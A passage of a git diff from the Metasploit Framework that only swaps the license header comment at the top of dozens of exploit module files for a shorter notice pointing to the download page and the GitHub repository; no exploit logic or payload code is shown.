b/modules/exploits/multi/http/sit_file_upload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/snortreport_exec.rb b/modules/exploits/multi/http/snortreport_exec.rb index bd39894f9e..2b70e04d27 100644 --- a/modules/exploits/multi/http/snortreport_exec.rb +++ b/modules/exploits/multi/http/snortreport_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index f04b73ffe5..807ad86423 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/splunk_mappy_exec.rb b/modules/exploits/multi/http/splunk_mappy_exec.rb index 93caf79f24..2725ba5f81 100644 --- a/modules/exploits/multi/http/splunk_mappy_exec.rb +++ b/modules/exploits/multi/http/splunk_mappy_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb index 2df71a916f..980a62bcdd 100644 --- a/modules/exploits/multi/http/splunk_upload_app_exec.rb +++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/spree_search_exec.rb b/modules/exploits/multi/http/spree_search_exec.rb index fb12f8d0dc..e5bab5f8eb 100644 --- a/modules/exploits/multi/http/spree_search_exec.rb +++ b/modules/exploits/multi/http/spree_search_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/spree_searchlogic_exec.rb b/modules/exploits/multi/http/spree_searchlogic_exec.rb index a85c93804e..203577614c 100644 --- a/modules/exploits/multi/http/spree_searchlogic_exec.rb +++ b/modules/exploits/multi/http/spree_searchlogic_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index 4ca8dfcc82..fd7588875a 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index 94068e2d9a..335df12cfa 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/struts_code_exec_parameters.rb b/modules/exploits/multi/http/struts_code_exec_parameters.rb index 1e01ee95ea..61124efda2 100644 --- a/modules/exploits/multi/http/struts_code_exec_parameters.rb +++ b/modules/exploits/multi/http/struts_code_exec_parameters.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb index e78686a85a..11af944818 100644 --- a/modules/exploits/multi/http/struts_default_action_mapper.rb +++ b/modules/exploits/multi/http/struts_default_action_mapper.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/struts_include_params.rb b/modules/exploits/multi/http/struts_include_params.rb index fef6c031b2..7333dd15c3 100644 --- a/modules/exploits/multi/http/struts_include_params.rb +++ b/modules/exploits/multi/http/struts_include_params.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/stunshell_eval.rb b/modules/exploits/multi/http/stunshell_eval.rb index dd0373ba71..c462041989 100644 --- a/modules/exploits/multi/http/stunshell_eval.rb +++ b/modules/exploits/multi/http/stunshell_eval.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/stunshell_exec.rb b/modules/exploits/multi/http/stunshell_exec.rb index ea297debe2..5ffe5b5e8f 100644 --- a/modules/exploits/multi/http/stunshell_exec.rb +++ b/modules/exploits/multi/http/stunshell_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/sun_jsws_dav_options.rb b/modules/exploits/multi/http/sun_jsws_dav_options.rb index da9dca6344..3931017cb7 100644 --- a/modules/exploits/multi/http/sun_jsws_dav_options.rb +++ b/modules/exploits/multi/http/sun_jsws_dav_options.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index 3ad3254de2..5ac12b19d5 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 694d5bae05..f3bf808b21 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 160e38f5a0..6f23263acf 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/v0pcr3w_exec.rb b/modules/exploits/multi/http/v0pcr3w_exec.rb index f4138d436d..ce816e90ef 100644 --- a/modules/exploits/multi/http/v0pcr3w_exec.rb +++ b/modules/exploits/multi/http/v0pcr3w_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/vbseo_proc_deutf.rb b/modules/exploits/multi/http/vbseo_proc_deutf.rb index a868f35157..940ca89748 100644 --- a/modules/exploits/multi/http/vbseo_proc_deutf.rb +++ b/modules/exploits/multi/http/vbseo_proc_deutf.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index 6bc69c1c58..c91e9e3f0b 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index aa47d1ee72..99c11514aa 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/zenworks_control_center_upload.rb b/modules/exploits/multi/http/zenworks_control_center_upload.rb index 1690c764a5..7e31956208 100644 --- a/modules/exploits/multi/http/zenworks_control_center_upload.rb +++ b/modules/exploits/multi/http/zenworks_control_center_upload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/ids/snort_dce_rpc.rb b/modules/exploits/multi/ids/snort_dce_rpc.rb index 82c72d112c..a0c4920730 100644 --- a/modules/exploits/multi/ids/snort_dce_rpc.rb +++ b/modules/exploits/multi/ids/snort_dce_rpc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/misc/batik_svg_java.rb b/modules/exploits/multi/misc/batik_svg_java.rb index 9a0da6912f..8002b4f306 100644 --- a/modules/exploits/multi/misc/batik_svg_java.rb +++ b/modules/exploits/multi/misc/batik_svg_java.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index 8765597bb9..849eda45fc 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/misc/indesign_server_soap.rb b/modules/exploits/multi/misc/indesign_server_soap.rb index 7256f07ee0..4f322acb70 100644 --- a/modules/exploits/multi/misc/indesign_server_soap.rb +++ b/modules/exploits/multi/misc/indesign_server_soap.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index d0e69d8ff9..85d6f43fa4 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/misc/openview_omniback_exec.rb b/modules/exploits/multi/misc/openview_omniback_exec.rb index 292ea355a6..f25f4f19d4 100644 --- a/modules/exploits/multi/misc/openview_omniback_exec.rb +++ b/modules/exploits/multi/misc/openview_omniback_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb index b4a1ef5855..886ac215f9 100644 --- a/modules/exploits/multi/misc/pbot_exec.rb +++ b/modules/exploits/multi/misc/pbot_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb index 1aa0b73fe1..3341f80160 100644 --- a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb +++ b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb index bbda1ad55d..34223304d4 100644 --- a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb +++ b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb index 45c5d3b415..bcc248f68d 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb index 0d1a8e6c26..505172d82d 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/misc/zend_java_bridge.rb b/modules/exploits/multi/misc/zend_java_bridge.rb index 3993185c35..46ef5e1ce5 100644 --- a/modules/exploits/multi/misc/zend_java_bridge.rb +++ b/modules/exploits/multi/misc/zend_java_bridge.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/ntp/ntp_overflow.rb b/modules/exploits/multi/ntp/ntp_overflow.rb index a82469afa6..7e91eb438f 100644 --- a/modules/exploits/multi/ntp/ntp_overflow.rb +++ b/modules/exploits/multi/ntp/ntp_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb index d4d17f7c40..d802275f3f 100644 --- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb +++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/realserver/describe.rb b/modules/exploits/multi/realserver/describe.rb index 247010d8b1..328f86897c 100644 --- a/modules/exploits/multi/realserver/describe.rb +++ b/modules/exploits/multi/realserver/describe.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/samba/nttrans.rb b/modules/exploits/multi/samba/nttrans.rb index 6fb9ffd955..2b08eb07c6 100644 --- a/modules/exploits/multi/samba/nttrans.rb +++ b/modules/exploits/multi/samba/nttrans.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/samba/usermap_script.rb b/modules/exploits/multi/samba/usermap_script.rb index 8e1d046dc9..fb65d4019c 100644 --- a/modules/exploits/multi/samba/usermap_script.rb +++ b/modules/exploits/multi/samba/usermap_script.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb index 5282882396..eb7f5454c0 100644 --- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb +++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb index 9543a451b2..ebdf51ab51 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb index d7178eedb4..b7532c540a 100755 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index e98a4cb475..1d7fa82daa 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/svn/svnserve_date.rb b/modules/exploits/multi/svn/svnserve_date.rb index c988b14e5f..d5ab61ad21 100644 --- a/modules/exploits/multi/svn/svnserve_date.rb +++ b/modules/exploits/multi/svn/svnserve_date.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 0eda9c2bd7..39cfce8519 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb index 4a89966548..ad0e950e70 100644 --- a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb +++ b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'timeout' diff --git a/modules/exploits/netware/smb/lsass_cifs.rb b/modules/exploits/netware/smb/lsass_cifs.rb index 79dc8cfbda..6d4f53a0c5 100644 --- a/modules/exploits/netware/smb/lsass_cifs.rb +++ b/modules/exploits/netware/smb/lsass_cifs.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/netware/sunrpc/pkernel_callit.rb b/modules/exploits/netware/sunrpc/pkernel_callit.rb index 84bef37117..c810cc2a65 100644 --- a/modules/exploits/netware/sunrpc/pkernel_callit.rb +++ b/modules/exploits/netware/sunrpc/pkernel_callit.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/afp/loginext.rb b/modules/exploits/osx/afp/loginext.rb index 968d2cf8ec..deb89ab9fa 100644 --- a/modules/exploits/osx/afp/loginext.rb +++ b/modules/exploits/osx/afp/loginext.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/arkeia/type77.rb b/modules/exploits/osx/arkeia/type77.rb index da5a189826..28f61b6c38 100644 --- a/modules/exploits/osx/arkeia/type77.rb +++ b/modules/exploits/osx/arkeia/type77.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/browser/mozilla_mchannel.rb b/modules/exploits/osx/browser/mozilla_mchannel.rb index 5874712be3..e4b5d07f01 100644 --- a/modules/exploits/osx/browser/mozilla_mchannel.rb +++ b/modules/exploits/osx/browser/mozilla_mchannel.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/browser/safari_file_policy.rb b/modules/exploits/osx/browser/safari_file_policy.rb index 7574708012..3f81b534ed 100644 --- a/modules/exploits/osx/browser/safari_file_policy.rb +++ b/modules/exploits/osx/browser/safari_file_policy.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial 